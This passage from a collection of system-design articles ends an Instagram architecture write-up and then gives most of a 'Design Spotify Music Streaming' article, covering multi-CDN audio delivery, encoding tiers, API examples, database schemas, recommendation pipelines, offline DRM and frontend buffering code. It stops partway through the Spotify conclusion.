      <span>{formatCount(optimisticCount)}</span>
    </button>
  );
};
```

## Conclusion

Instagram's architecture demonstrates several key principles for building photo-sharing platforms at scale:

**Architectural decisions:**

1. **Hybrid fan-out** bounds write amplification while maintaining sub-second feed loads. The 10K follower threshold is tuned based on write cost analysis.

2. **Separate storage strategies** for ephemeral (Stories) vs. persistent (Posts) content optimize for their different access patterns and lifetime requirements.

3. **Three-stage recommendation pipeline** (retrieval → early ranking → late ranking) enables personalization across billions of content items with <100ms latency.

4. **MQTT for real-time** provides significant power and bandwidth savings over HTTP polling, critical for mobile-first platforms.

**Optimizations this design achieves:**

- Feed load: p99 < 500ms through cached timelines + celebrity merge
- Stories load: p99 < 200ms through aggressive prefetch
- Upload processing: < 10s for immediate user feedback
- Global delivery: 95%+ CDN cache hit rate exploiting power-law distribution

**Known limitations:**

- Hybrid fan-out requires maintaining two code paths
- Celebrity threshold (10K) is a tunable but imperfect heuristic
- Ranking model hourly retraining introduces slight staleness
- Multi-region eventual consistency means brief windows of inconsistency

**Alternative approaches not chosen:**

- Pure push (write amplification at celebrity scale)
- Pure pull (read latency unacceptable)
- Single-region (latency for global users)

## Appendix

### Prerequisites

- Distributed systems fundamentals (CAP theorem, eventual consistency)
- Database concepts (sharding, replication, indexing)
- Caching strategies (write-through, write-behind, cache invalidation)
- CDN and content delivery concepts
- Basic ML concepts (embeddings, neural networks)

### Summary

- **Hybrid fan-out** (push for <10K followers, pull for celebrities) bounds write amplification while keeping reads fast
- **Image processing pipeline** generates 6+ variants synchronously; filters use GPU shaders
- **Stories architecture** uses 24-hour TTL with aggressive prefetch for <200ms load times
- **Feed ranking** uses 100K+ features with neural networks; models fine-tuned hourly
- **Explore recommendation** runs 1000+ ML models; Two Towers for retrieval, multi-task ranking for final selection
- **MQTT powers real-time** features (DMs, notifications) with 6-8% less power than HTTP

### References

- [Sharding & IDs at Instagram](https://instagram-engineering.com/sharding-ids-at-instagram-1cf5a71e5a5c) - Original ID generation design
- [What Powers Instagram](https://instagram-engineering.com/what-powers-instagram-hundreds-of-instances-dozens-of-technologies-adf2e22da2ad) - Early architecture overview
- [Migrating from AWS to Facebook](https://instagram-engineering.com/migrating-from-aws-to-fb-86b16f6766e2) - Infrastructure migration case study
- [Making Direct Messages Reliable and Fast](https://instagram-engineering.com/making-direct-messages-reliable-and-fast-a152bdfd697f) - DM architecture details
- [Scaling Instagram's Explore Recommendations](https://engineering.fb.com/2023/08/09/ml-applications/scaling-instagram-explore-recommendations-system/) - Recommendation system architecture
- [Journey to 1000 Models](https://engineering.fb.com/2025/05/21/production-engineering/journey-to-1000-models-scaling-instagrams-recommendation-system/) - ML infrastructure at scale
- [Instagram Video Processing and Encoding Reduction](https://engineering.fb.com/2022/11/04/video-engineering/instagram-video-processing-encoding-reduction/) - Video pipeline optimization
- [Introducing mcrouter](https://engineering.fb.com/2014/09/15/web/introducing-mcrouter-a-memcached-protocol-router-for-scaling-memcached-deployments/) - Caching infrastructure
- [Powered by AI: Instagram's Explore Recommender System](https://ai.meta.com/blog/powered-by-ai-instagrams-explore-recommender-system/) - Two Towers model details

---

## Design Spotify Music Streaming

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-spotify-music-streaming
**Category:** System Design / System Design Problems
**Description:** Spotify serves 675+ million monthly active users across 180+ markets, streaming from a catalog of 100+ million tracks. Unlike video platforms where files are gigabytes, audio files are megabytes—but the scale of concurrent streams, personalization depth, and the expectation of instant playback create unique challenges. This design covers the audio delivery pipeline, the recommendation engine that drives 30%+ of listening, offline sync, and the microservices architecture that enables 300+ autonomous teams to ship independently.

# Design Spotify Music Streaming

Spotify serves 675+ million monthly active users across 180+ markets, streaming from a catalog of 100+ million tracks. Unlike video platforms where files are gigabytes, audio files are megabytes—but the scale of concurrent streams, personalization depth, and the expectation of instant playback create unique challenges. This design covers the audio delivery pipeline, the recommendation engine that drives 30%+ of listening, offline sync, and the microservices architecture that enables 300+ autonomous teams to ship independently.

<figure>

![High-level architecture: clients connect through API gateway to microservices; audio delivered via multi-CDN; events flow through Pub/Sub to analytics.](./high-level-architecture-clients-connect-through-api-gateway-to-microservices-aud.svg)

<figcaption>High-level architecture: clients connect through API gateway to microservices; audio delivered via multi-CDN; events flow through Pub/Sub to analytics.</figcaption>
</figure>

## Abstract

Spotify's architecture is shaped by three fundamental constraints:

1. **Audio is lightweight but latency-critical**: A 3-minute track at 320 kbps is ~7 MB—trivial compared to video. But users expect instant playback on tap. The architecture optimizes for time-to-first-byte, not throughput.

2. **Personalization is the product**: Discovery features (Discover Weekly, Daily Mix, Release Radar) drive 30%+ of streams. The recommendation system processes billions of listening events daily to generate personalized content for each user.

3. **Offline mode is a first-class feature**: Premium subscribers can download thousands of tracks. This requires a license management system, intelligent sync, and storage management across devices.

The core mechanisms:

- **Multi-CDN delivery** via Akamai, Fastly, and AWS CloudFront, with intelligent routing based on user location and CDN health
- **Ogg Vorbis encoding** at multiple bitrates (96-320 kbps) with automatic quality adaptation based on network conditions
- **Cassandra for user data** (playlists, listening history) with write-optimized schema design
- **Hybrid recommendation system** combining collaborative filtering, content-based analysis (via Echo Nest audio features), and natural language processing
- **Google Cloud Platform** for compute, storage, and data processing after 2016 migration from on-premise

## Requirements

### Functional Requirements

| Requirement                  | Priority     | Notes                                           |
| ---------------------------- | ------------ | ----------------------------------------------- |
| Audio playback               | Core         | Adaptive streaming, gapless playback, crossfade |
| Search                       | Core         | Tracks, artists, albums, playlists, podcasts    |
| Playlists                    | Core         | Create, edit, collaborative playlists           |
| Library management           | Core         | Save tracks, albums, follow artists             |
| Offline downloads            | Core         | Premium feature, license-protected              |
| Personalized recommendations | Core         | Discover Weekly, Daily Mix, Release Radar       |
| Social features              | Extended     | Friend activity, shared playlists               |
| Podcasts                     | Extended     | Episodes, shows, in-progress tracking           |
| Lyrics                       | Extended     | Synced lyrics display                           |
| Live events                  | Out of scope | Concerts, virtual events                        |
| Audiobooks                   | Out of scope | Separate purchase model                         |

### Non-Functional Requirements

| Requirement              | Target       | Rationale                             |
| ------------------------ | ------------ | ------------------------------------- |
| Playback availability    | 99.99%       | Revenue-critical, user retention      |
| Time to first audio      | p99 < 500ms  | User expectation for instant playback |
| Search latency           | p99 < 200ms  | Responsive search experience          |
| Recommendation freshness | < 24 hours   | Daily personalization updates         |
| Offline sync reliability | 99.9%        | Downloaded content must play          |
| Concurrent streams       | Support 50M+ | Peak evening traffic globally         |
| Catalog update latency   | < 4 hours    | New releases available quickly        |

### Scale Estimation

**Spotify-scale baseline (2024):**

```
Monthly active users: 675 million
Premium subscribers: 265 million (39%)
Free (ad-supported) users: 410 million (61%)

Catalog:
- Tracks: 100+ million
- Podcasts: 6+ million shows
- New tracks added daily: ~100,000

Streaming traffic:
- Average streams per DAU: ~25 tracks/day
- DAU estimate: 300M (45% of MAU)
- Daily streams: 7.5 billion
- Peak concurrent: ~50M streams

Audio file sizes (3-minute track):
- 96 kbps (Low): ~2.2 MB
- 160 kbps (Normal): ~3.6 MB
- 320 kbps (Very High): ~7.2 MB
- Average effective: ~4 MB per track

Daily bandwidth:
- 7.5B streams × 4 MB = 30 PB/day
- With 90% CDN hit rate: 3 PB/day from origin
```

**Storage estimation:**

```
Audio storage:
- 100M tracks × 4 quality levels × 4 MB avg = 1.6 PB
- With metadata, artwork: ~2 PB total

User data:
- 675M users × 500 playlists avg × 100 tracks = massive
- Listening history: 100 events/user/day × 30 days = 600B events/month
```

## Design Paths

### Path A: Single-CDN with Origin Shield

**Best when:**

- Smaller scale (< 100M users)
- Geographic concentration
- Simpler operations preferred

**Architecture:**

- Single CDN provider (e.g., CloudFront)
- Origin shield layer to reduce origin load
- Simple routing via DNS

**Trade-offs:**

- ✅ Simpler vendor management
- ✅ Consistent caching behavior
- ✅ Easier debugging
- ❌ Single point of failure
- ❌ Vendor lock-in on pricing
- ❌ May have regional coverage gaps

**Real-world example:** SoundCloud relies primarily on AWS CloudFront for audio delivery.

### Path B: Multi-CDN with Intelligent Routing (Spotify Model)

**Best when:**

- Massive global scale (100M+ users)
- Need for high availability
- Leverage competitive CDN pricing

**Architecture:**

- Multiple CDN providers (Akamai, Fastly, AWS)
- Real-time CDN health monitoring
- Client-side CDN selection based on performance
- Specialized CDNs for different content types

**Trade-offs:**

- ✅ No single point of failure
- ✅ Cost optimization through CDN arbitrage
- ✅ Best performance per region
- ✅ Leverage each CDN's strengths
- ❌ Complex routing logic
- ❌ Inconsistent caching behavior
- ❌ Multiple vendor relationships

**Real-world example:** Spotify uses Akamai and AWS for audio streaming, Fastly for images and UI assets.

### Historical Path: P2P-Assisted Delivery

**Used by Spotify 2008-2014:**

Spotify originally used peer-to-peer technology, with 80% of traffic served by peers in 2011.

**Why they moved away:**

- Improved CDN economics at scale
- Mobile devices (poor P2P participants)
- Complexity of P2P on modern networks (NAT, firewalls)
- Sufficient server capacity globally

### Path Comparison

| Factor              | Single CDN   | Multi-CDN      | P2P-Assisted   |
| ------------------- | ------------ | -------------- | -------------- |
| Availability        | 99.9%        | 99.99%         | Variable       |
| Setup complexity    | Low          | High           | Very High      |
| Operating cost      | Medium       | Lower at scale | Lowest         |
| Mobile support      | Full         | Full           | Limited        |
| Latency consistency | High         | Medium         | Variable       |
| Best for            | < 100M users | > 100M users   | Cost-sensitive |

### This Article's Focus

This article focuses on **Path B (Multi-CDN)** because:

1. Spotify scale requires geographic diversity
2. The multi-CDN pattern demonstrates advanced content delivery
3. It represents the current industry standard for major streaming services

## High-Level Design

### Component Overview

<figure>

![Domain-driven microservices architecture with specialized data stores per domain.](./domain-driven-microservices-architecture-with-specialized-data-stores-per-domain.svg)

<figcaption>Domain-driven microservices architecture with specialized data stores per domain.</figcaption>
</figure>

### Service Communication

Spotify uses gRPC with Protocol Buffers for inter-service communication:

**Why gRPC:**

- Binary serialization (smaller payloads than JSON)
- Strong typing via protobuf
- Bidirectional streaming support
- Code generation for multiple languages

**Service mesh:**

- Envoy proxy for load balancing, observability
- Circuit breakers for fault isolation
- Automatic retries with exponential backoff

### Playback Flow

1. **User taps play** → Client sends play request to Playback Service
2. **Playback Service validates** → Checks subscription, licensing, availability
3. **License acquired** → DRM key retrieved for encrypted content
4. **CDN URL returned** → Client receives signed URL with CDN selection
5. **Audio streamed** → Client fetches segments from edge CDN
6. **Prefetch triggered** → Next track segments pre-fetched for gapless playback
7. **Event logged** → Stream event sent to Pub/Sub for analytics

### Event-Driven Architecture

Every user action generates events:

```
Play event → Pub/Sub → Dataflow → BigQuery (analytics)
                    → Bigtable (real-time features)
                    → Recommendation update

Search event → Pub/Sub → Search ranking signals
Follow event → Pub/Sub → Social graph update
```

**Event volume:**

- 1 trillion+ Pub/Sub messages per day
- Sub-second end-to-end latency for real-time features

## Audio Streaming Pipeline

### Audio Encoding Strategy

<figure>

![Multi-bitrate encoding: each track encoded to 4 quality levels for adaptive streaming.](./multi-bitrate-encoding-each-track-encoded-to-4-quality-levels-for-adaptive-strea.svg)

<figcaption>Multi-bitrate encoding: each track encoded to 4 quality levels for adaptive streaming.</figcaption>
</figure>

### Quality Levels

| Quality   | Bitrate  | Format     | Availability | File Size (3 min) |
| --------- | -------- | ---------- | ------------ | ----------------- |
| Low       | 24 kbps  | Ogg Vorbis | Free/Premium | ~0.5 MB           |
| Normal    | 96 kbps  | Ogg Vorbis | Free/Premium | ~2.2 MB           |
| High      | 160 kbps | Ogg Vorbis | Free/Premium | ~3.6 MB           |
| Very High | 320 kbps | Ogg Vorbis | Premium only | ~7.2 MB           |
| Web       | 256 kbps | AAC        | Web player   | ~5.8 MB           |

**Why Ogg Vorbis:**

- Open-source, royalty-free codec
- Comparable quality to MP3 at lower bitrates
- Better than MP3 at same bitrate (especially < 128 kbps)
- Efficient hardware decoding on mobile devices

**AAC for web:**

- Native browser support without plugins
- Required for Safari/iOS web player

### Adaptive Bitrate Selection

The client dynamically selects quality based on:

```
if network_type == "cellular" and data_saver_enabled:
    quality = LOW (24 kbps)
elif network_type == "cellular":
    quality = NORMAL (96 kbps)
elif buffering_recently:
    quality = decrease_one_level()
elif buffer_healthy and bandwidth_sufficient:
    quality = user_preference (up to 320 kbps)
```

**Buffer management:**

- Target buffer: 10-30 seconds of audio
- Low watermark: 5 seconds (trigger quality drop)
- High watermark: 30 seconds (allow quality increase)

### Gapless Playback

For seamless album listening:

1. **Prefetch**: Start fetching next track when current is 90% complete
2. **Decode ahead**: Decode first 5 seconds of next track
3. **Crossfade boundary**: Handle precise sample-accurate transitions
4. **Memory management**: Release previous track's buffer

**Implementation challenges:**

- Different sample rates between tracks
- Metadata gaps in some files
- Client memory constraints on mobile

## CDN Architecture

### Multi-CDN Strategy

<figure>

![CDN tiering: Akamai/AWS for latency-sensitive audio, Fastly for cacheable assets.](./cdn-tiering-akamai-aws-for-latency-sensitive-audio-fastly-for-cacheable-assets.svg)

<figcaption>CDN tiering: Akamai/AWS for latency-sensitive audio, Fastly for cacheable assets.</figcaption>
</figure>

### CDN Selection Logic

```python
def select_cdn(user_location, content_type, cdns_health):
    """Select optimal CDN for request."""
    candidates = []

    for cdn in available_cdns:
        if not cdns_health[cdn].is_healthy:
            continue

        latency = get_latency_estimate(cdn, user_location)
        availability = cdns_health[cdn].availability_99p
        cost = get_cost_per_gb(cdn, user_location)

        score = (
            0.5 * normalize(latency, lower_is_better=True) +
            0.3 * normalize(availability, lower_is_better=False) +
            0.2 * normalize(cost, lower_is_better=True)
        )
        candidates.append((cdn, score))

    return max(candidates, key=lambda x: x[1])[0]
```

### Cache Key Design

```
Audio: /{track_id}/{quality}/{segment}.ogg
Images: /{image_id}/{size}.jpg
```

**Cache TTL strategy:**

| Content Type    | TTL       | Rationale              |
| --------------- | --------- | ---------------------- |
| Audio files     | 1 year    | Immutable content      |
| Album artwork   | 30 days   | Rarely changes         |
| Artist images   | 7 days    | Occasional updates     |
| Playlist covers | 1 day     | User-generated         |
| API responses   | 5 minutes | Balance freshness/load |

### Signed URLs

Audio URLs include authentication:

```
https://audio-cdn.spotify.com/tracks/{track_id}/320.ogg
    ?sig={hmac_signature}
    &exp={expiration_timestamp}
    &uid={user_id}
```

**Signature validation:**

- HMAC-SHA256 with rotating keys
- 1-hour expiration for streaming URLs
- Rate limiting per user/IP

## API Design

### Play Track

**Endpoint:** `POST /v1/me/player/play`

**Request:**

```json
{
  "context_uri": "spotify:playlist:37i9dQZF1DXcBWIGoYBM5M",
  "offset": {
    "position": 0
  },
  "position_ms": 0
}
```

**Response (204 No Content on success)**

**Error Responses:**

- `401 Unauthorized`: Invalid or expired token
- `403 Forbidden`: Premium required for this feature
- `404 Not Found`: Track/playlist not available
- `429 Too Many Requests`: Rate limit exceeded

### Get Track

**Endpoint:** `GET /v1/tracks/{id}`

**Response (200 OK):**

```json
{
  "id": "3n3Ppam7vgaVa1iaRUc9Lp",
  "name": "Mr. Brightside",
  "duration_ms": 222973,
  "explicit": false,
  "popularity": 87,
  "preview_url": "https://p.scdn.co/mp3-preview/...",
  "album": {
    "id": "4OHNH3sDzIxnmUADXzv2kT",
    "name": "Hot Fuss",
    "images": [
      {
        "url": "https://i.scdn.co/image/...",
        "height": 640,
        "width": 640
      }
    ],
    "release_date": "2004-06-07"
  },
  "artists": [
    {
      "id": "0C0XlULifJtAgn6ZNCW2eu",
      "name": "The Killers"
    }
  ],
  "available_markets": ["US", "GB", "DE", ...]
}
```

### Search

**Endpoint:** `GET /v1/search`

**Parameters:**

| Parameter | Type    | Required | Description                                  |
| --------- | ------- | -------- | -------------------------------------------- |
| q         | string  | Yes      | Search query                                 |
| type      | string  | Yes      | Comma-separated: track,artist,album,playlist |
| limit     | integer | No       | Max results per type (default: 20, max: 50)  |
| offset    | integer | No       | Pagination offset                            |
| market    | string  | No       | ISO country code for availability filtering  |

**Response:**

```json
{
  "tracks": {
    "items": [...],
    "total": 1000,
    "limit": 20,
    "offset": 0,
    "next": "https://api.spotify.com/v1/search?offset=20&..."
  },
  "artists": {...},
  "albums": {...}
}
```

### Create Playlist

**Endpoint:** `POST /v1/users/{user_id}/playlists`

**Request:**

```json
{
  "name": "Road Trip",
  "description": "Songs for the drive",
  "public": false,
  "collaborative": false
}
```

**Response (201 Created):**

```json
{
  "id": "7d2D2S5F4d0r33mDf0d33D",
  "name": "Road Trip",
  "owner": {
    "id": "user123",
    "display_name": "John"
  },
  "tracks": {
    "total": 0
  },
  "snapshot_id": "MTY4MzI0..."
}
```

### Rate Limits

| Endpoint Category      | Limit        | Window     |
| ---------------------- | ------------ | ---------- |
| Standard endpoints     | 100 requests | 30 seconds |
| Search                 | 30 requests  | 30 seconds |
| Player control         | 50 requests  | 30 seconds |
| Playlist modifications | 25 requests  | 30 seconds |

## Data Modeling

### Track Schema (PostgreSQL)

```sql
CREATE TABLE tracks (
    id VARCHAR(22) PRIMARY KEY,  -- Spotify base62 ID
    name VARCHAR(500) NOT NULL,
    duration_ms INTEGER NOT NULL,
    explicit BOOLEAN DEFAULT false,
    popularity SMALLINT DEFAULT 0,
    isrc VARCHAR(12),  -- International Standard Recording Code
    preview_url TEXT,

    -- Denormalized for read performance
    album_id VARCHAR(22) REFERENCES albums(id),

    -- Audio features (from Echo Nest analysis)
    tempo DECIMAL(6,3),  -- BPM
    key SMALLINT,  -- 0-11 pitch class
    mode SMALLINT,  -- 0=minor, 1=major
    time_signature SMALLINT,
    danceability DECIMAL(4,3),
    energy DECIMAL(4,3),
    valence DECIMAL(4,3),

    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW()
);

-- Track-Artist relationship (many-to-many)
CREATE TABLE track_artists (
    track_id VARCHAR(22) REFERENCES tracks(id),
    artist_id VARCHAR(22) REFERENCES artists(id),
    position SMALLINT NOT NULL,  -- Artist order
    PRIMARY KEY (track_id, artist_id)
);

-- Indexes for common queries
CREATE INDEX idx_tracks_album ON tracks(album_id);
CREATE INDEX idx_tracks_popularity ON tracks(popularity DESC);
CREATE INDEX idx_tracks_isrc ON tracks(isrc);
```

### Playlist Schema (Cassandra)

Cassandra excels at playlist storage due to write-heavy patterns:

```cql
CREATE TABLE playlists (
    user_id TEXT,
    playlist_id TEXT,
    name TEXT,
    description TEXT,
    is_public BOOLEAN,
    is_collaborative BOOLEAN,
    snapshot_id TEXT,
    follower_count COUNTER,
    created_at TIMESTAMP,
    updated_at TIMESTAMP,
    PRIMARY KEY (user_id, playlist_id)
) WITH CLUSTERING ORDER BY (playlist_id ASC);

CREATE TABLE playlist_tracks (
    playlist_id TEXT,
    position INT,
    track_id TEXT,
    added_by TEXT,
    added_at TIMESTAMP,
    PRIMARY KEY (playlist_id, position)
) WITH CLUSTERING ORDER BY (position ASC);

-- Denormalized for efficient ordering
CREATE TABLE playlist_tracks_by_added (
    playlist_id TEXT,
    added_at TIMESTAMP,
    position INT,
    track_id TEXT,
    PRIMARY KEY (playlist_id, added_at, position)
) WITH CLUSTERING ORDER BY (added_at DESC, position ASC);
```

**Why Cassandra for playlists:**

- Write-optimized (append-only storage)
- Horizontal scaling for 675M users
- Tunable consistency (eventual for non-critical reads)
- Counter support for follower counts

### User Listening History (Cassandra)

```cql
CREATE TABLE listening_history (
    user_id TEXT,
    listened_at TIMESTAMP,
    track_id TEXT,
    context_uri TEXT,  -- playlist, album, or artist
    duration_ms INT,
    PRIMARY KEY (user_id, listened_at)
) WITH CLUSTERING ORDER BY (listened_at DESC)
  AND default_time_to_live = 7776000;  -- 90 days TTL
```

### Search Index (Elasticsearch)

```json
{
  "mappings": {
    "properties": {
      "track_id": { "type": "keyword" },
      "name": {
        "type": "text",
        "analyzer": "standard",
        "fields": {
          "exact": { "type": "keyword" },
          "autocomplete": {
            "type": "text",
            "analyzer": "autocomplete"
          }
        }
      },
      "artist_names": {
        "type": "text",
        "fields": { "exact": { "type": "keyword" } }
      },
      "album_name": { "type": "text" },
      "popularity": { "type": "integer" },
      "duration_ms": { "type": "integer" },
      "explicit": { "type": "boolean" },
      "available_markets": { "type": "keyword" },
      "release_date": { "type": "date" }
    }
  },
  "settings": {
    "analysis": {
      "analyzer": {
        "autocomplete": {
          "tokenizer": "autocomplete",
          "filter": ["lowercase"]
        }
      },
      "tokenizer": {
        "autocomplete": {
          "type": "edge_ngram",
          "min_gram": 1,
          "max_gram": 20,
          "token_chars": ["letter", "digit"]
        }
      }
    }
  }
}
```

### Database Selection Matrix

| Data Type                         | Store           | Rationale                         |
| --------------------------------- | --------------- | --------------------------------- |
| Catalog (tracks, albums, artists) | PostgreSQL      | Relational queries, complex joins |
| User data (playlists, saves)      | Cassandra       | Write-heavy, horizontal scaling   |
| Listening history                 | Cassandra       | Time-series, high volume          |
| Search index                      | Elasticsearch   | Full-text search, faceting        |
| ML features                       | Cloud Bigtable  | Wide columns, sparse data         |
| Hot metadata                      | Redis/Memcached | Sub-ms latency                    |
| Analytics                         | BigQuery        | Ad-hoc queries, massive scale     |

## Low-Level Design: Recommendation System

### Architecture Overview

<figure>

![Two-stage recommendation: retrieve candidates via embedding similarity, rank with ML model.](./two-stage-recommendation-retrieve-candidates-via-embedding-similarity-rank-with-.svg)

<figcaption>Two-stage recommendation: retrieve candidates via embedding similarity, rank with ML model.</figcaption>
</figure>

### Collaborative Filtering

**Matrix factorization approach:**

Given user-track interaction matrix R (675M users × 100M tracks), learn latent factors:

$$R \approx U \times V^T$$

Where:

- $U$ = user matrix (675M × 128)
- $V$ = track matrix (100M × 128)

**Implementation:**

- Alternating Least Squares (ALS) on Spark
- Weekly retraining on full dataset
- Incremental updates for new users/tracks

### Content-Based Features (Echo Nest)

Each track has computed audio features:

| Feature          | Range     | Description                      |
| ---------------- | --------- | -------------------------------- |
| Tempo            | 0-250 BPM | Beats per minute                 |
| Key              | 0-11      | Pitch class (C=0, C#=1, ...)     |
| Mode             | 0-1       | Minor=0, Major=1                 |
| Danceability     | 0.0-1.0   | Rhythmic suitability for dancing |
| Energy           | 0.0-1.0   | Perceptual intensity             |
| Valence          | 0.0-1.0   | Musical positivity               |
| Speechiness      | 0.0-1.0   | Presence of spoken words         |
| Acousticness     | 0.0-1.0   | Acoustic vs. electronic          |
| Instrumentalness | 0.0-1.0   | Absence of vocals                |
| Liveness         | 0.0-1.0   | Presence of audience             |

### Discover Weekly Pipeline

**Generation schedule:**

- Runs Sunday night for Monday delivery
- Pre-computed on Cloud Bigtable
- 675M personalized 30-track playlists

**Algorithm:**

1. **User taste profile**: Aggregate recent listening into genre/artist weights
2. **Candidate selection**: Find tracks listened to by similar users (collaborative)
3. **Audio filtering**: Match audio features to user preferences (content-based)
4. **Freshness boost**: Prioritize tracks user hasn't heard
5. **Diversity injection**: Ensure variety across genres, artists
6. **Final ranking**: ML model predicts skip probability

### Approximate Nearest Neighbor Index

For real-time recommendations, use Annoy (Approximate Nearest Neighbors Oh Yeah):

**Index structure:**

- 128-dimensional embeddings for 100M tracks
- Forest of random projection trees
- Trade-off: accuracy vs. query time

**Query performance:**

- 10ms for top-100 nearest neighbors
- 95% recall vs. exact search
- 100 trees provides good balance

## Low-Level Design: Offline Mode

### Download Architecture

<figure>

![Offline download flow: queue → prioritize → fetch → encrypt → store locally.](./offline-download-flow-queue-prioritize-fetch-encrypt-store-locally.svg)

<figcaption>Offline download flow: queue → prioritize → fetch → encrypt → store locally.</figcaption>
</figure>

### License Management

**DRM implementation:**

- Encrypted audio files using AES-256
- Per-device keys tied to account
- Keys stored in secure enclave (iOS) or hardware-backed keystore (Android)

**License constraints:**

| Constraint         | Value             | Rationale                      |
| ------------------ | ----------------- | ------------------------------ |
| Offline validity   | 30 days           | Requires periodic online check |
| Device limit       | 5 devices         | Prevent account sharing        |
| Track limit        | 10,000 per device | Storage management             |
| Concurrent offline | 1 device          | Licensing terms                |

### Sync Strategy

**Smart downloads:**

```python
def prioritize_downloads(playlist, device_storage):
    """Prioritize which tracks to download first."""
    scored_tracks = []

    for track in playlist.tracks:
        score = 0

        # User explicitly requested
        if track in user_requested:
            score += 100

        # Recently played (likely to play again)
        if track in recent_plays:
            score += 50

        # High popularity in playlist
        score += track.playlist_position_score

        # Already partially downloaded
        if track.partial_download:
            score += 30

        scored_tracks.append((track, score))

    # Download in priority order until storage full
    for track, _ in sorted(scored_tracks, reverse=True):
        if device_storage.available > track.size:
            download(track)
```

### Storage Management

**Eviction policy:**

1. Remove tracks not played in 90+ days
2. Remove tracks from unfollowed playlists
3. LRU eviction when approaching storage limit

**Storage estimation UI:**

```
Playlist: Road Trip (50 tracks)
Download size: 180 MB (Normal quality)
              350 MB (Very High quality)
Device storage: 2.1 GB available
```

## Search System

### Search Architecture

<figure>

![Search pipeline: parse → correct → expand → search → rank → deduplicate.](./search-pipeline-parse-correct-expand-search-rank-deduplicate.svg)

<figcaption>Search pipeline: parse → correct → expand → search → rank → deduplicate.</figcaption>
</figure>

### Typeahead/Autocomplete

**Implementation using Elasticsearch:**

```json
{
  "query": {
    "bool": {
      "should": [
        {
          "match": {
            "name.autocomplete": {
              "query": "mr bright",
              "operator": "and"
            }
          }
        },
        {
          "match": {
            "artist_names.autocomplete": {
              "query": "mr bright",
              "operator": "and"
            }
          }
        }
      ],
      "minimum_should_match": 1
    }
  },
  "sort": ["_score", { "popularity": "desc" }],
  "size": 10
}
```

**Performance targets:**

- Typeahead latency: p99 < 50ms
- Full search latency: p99 < 200ms
- Index update lag: < 4 hours for new releases

### Ranking Signals

| Signal              | Weight | Description                      |
| ------------------- | ------ | -------------------------------- |
| Text relevance      | 0.3    | BM25 score from Elasticsearch    |
| Popularity          | 0.25   | Global stream count (log-scaled) |
| User affinity       | 0.2    | Based on listening history       |
| Freshness           | 0.15   | Boost for new releases           |
| Market availability | 0.1    | Available in user's region       |

## Frontend Considerations

### Player State Management

**Global player state:**

```typescript
interface PlayerState {
  // Current playback
  currentTrack: Track | null
  position_ms: number
  duration_ms: number
  isPlaying: boolean

  // Queue
  queue: Track[]
  queuePosition: number

  // Context (what initiated playback)
  context: {
    type: "playlist" | "album" | "artist" | "search"
    uri: string
  }

  // Shuffle and repeat
  shuffle: boolean
  repeatMode: "off" | "context" | "track"

  // Device
  activeDevice: Device
  volume: number
}
```

**State synchronization:**

- Local state for immediate UI feedback
- WebSocket for cross-device sync (Spotify Connect)
- Optimistic updates with reconciliation

### Audio Buffering Strategy

```typescript
class AudioBuffer {
  private segments: Map<number, ArrayBuffer> = new Map()
  private prefetchAhead = 30 // seconds

  async ensureBuffered(currentPosition: number): Promise<void> {
    const currentSegment = Math.floor(currentPosition / SEGMENT_SIZE)
    const targetSegment = Math.ceil((currentPosition + this.prefetchAhead) / SEGMENT_SIZE)

    for (let i = currentSegment; i <= targetSegment; i++) {
      if (!this.segments.has(i)) {
        const segment = await this.fetchSegment(i)
        this.segments.set(i, segment)
      }
    }

    // Evict old segments to manage memory
    this.evictOldSegments(currentSegment - 2)
  }
}
```

### Mobile Optimizations

| Constraint | Mitigation                                              |
| ---------- | ------------------------------------------------------- |
| Battery    | Batch network requests, use efficient codecs            |
| Data usage | Quality auto-adjust, download on WiFi                   |
| Memory     | Limit buffer size, lazy-load images                     |
| Background | iOS: Background Audio mode; Android: Foreground Service |
| Offline    | SQLite for metadata, encrypted file storage             |

### Web Player Architecture

**Web Audio API usage:**

```javascript
const audioContext = new AudioContext()
const source = audioContext.createBufferSource()
const gainNode = audioContext.createGain()

// Crossfade between tracks
function crossfade(currentSource, nextSource, duration) {
  const now = audioContext.currentTime

  // Fade out current
  currentSource.gainNode.gain.setValueAtTime(1, now)
  currentSource.gainNode.gain.linearRampToValueAtTime(0, now + duration)

  // Fade in next
  nextSource.gainNode.gain.setValueAtTime(0, now)
  nextSource.gainNode.gain.linearRampToValueAtTime(1, now + duration)

  nextSource.start(now)
}
```

## Infrastructure Design

### Google Cloud Platform Architecture

<figure>

![GCP deployment: GKE for microservices, managed data services, Pub/Sub for event streaming.](./gcp-deployment-gke-for-microservices-managed-data-services-pub-sub-for-event-str.svg)

<figcaption>GCP deployment: GKE for microservices, managed data services, Pub/Sub for event streaming.</figcaption>
</figure>

### Key GCP Services

| Service        | Use Case                    | Scale              |
| -------------- | --------------------------- | ------------------ |
| GKE            | Microservices orchestration | 300+ services      |
| Cloud Pub/Sub  | Event streaming             | 1T+ messages/day   |
| Cloud Dataflow | Stream/batch processing     | Petabytes/day      |
| BigQuery       | Analytics, ML training      | 10M+ queries/month |
| Cloud Bigtable | ML feature store            | Petabytes          |
| Cloud Storage  | Audio files, backups        | Exabytes           |
| Cloud Spanner  | Transactional data          | Global consistency |

### Migration Story

**Timeline:**

- 2016: Announced migration from on-premise to GCP
- 2017: Fully migrated to Google Cloud
- Result: 60% cost reduction, faster product development

**Key decisions:**

- Kafka → Pub/Sub for event delivery (4x lower latency)
- Hadoop → Dataflow for batch/stream processing
- Custom dashboards → BigQuery for analytics

### Multi-Region Strategy

```
Regions:
- us-central1 (Primary Americas)
- europe-west1 (Primary EMEA)
- asia-east1 (Primary APAC)

Data replication:
- User data: Multi-region Spanner
- Audio: Cloud Storage multi-region
- Analytics: BigQuery cross-region
```

### Developer Platform (Backstage)

Spotify open-sourced Backstage in 2020—their internal developer portal:

**Features:**

- Service catalog (track all microservices)
- TechDocs (documentation as code)
- Software templates (scaffold new services)
- Plugin ecosystem (integrate with tools)

**Impact:**

- 2,200+ contributors
- 3,000+ adopting companies
- CNCF incubating project

## Conclusion

Designing Spotify-scale music streaming requires different optimizations than video platforms:

**Key architectural decisions:**

1. **Multi-CDN delivery** (Akamai, AWS, Fastly) provides global reach with failover and cost optimization
2. **Ogg Vorbis encoding** at multiple bitrates (96-320 kbps) balances quality and bandwidth with adaptive switching
3. **Cassandra for user data** handles write-heavy workloads (playlists, history) with horizontal scaling
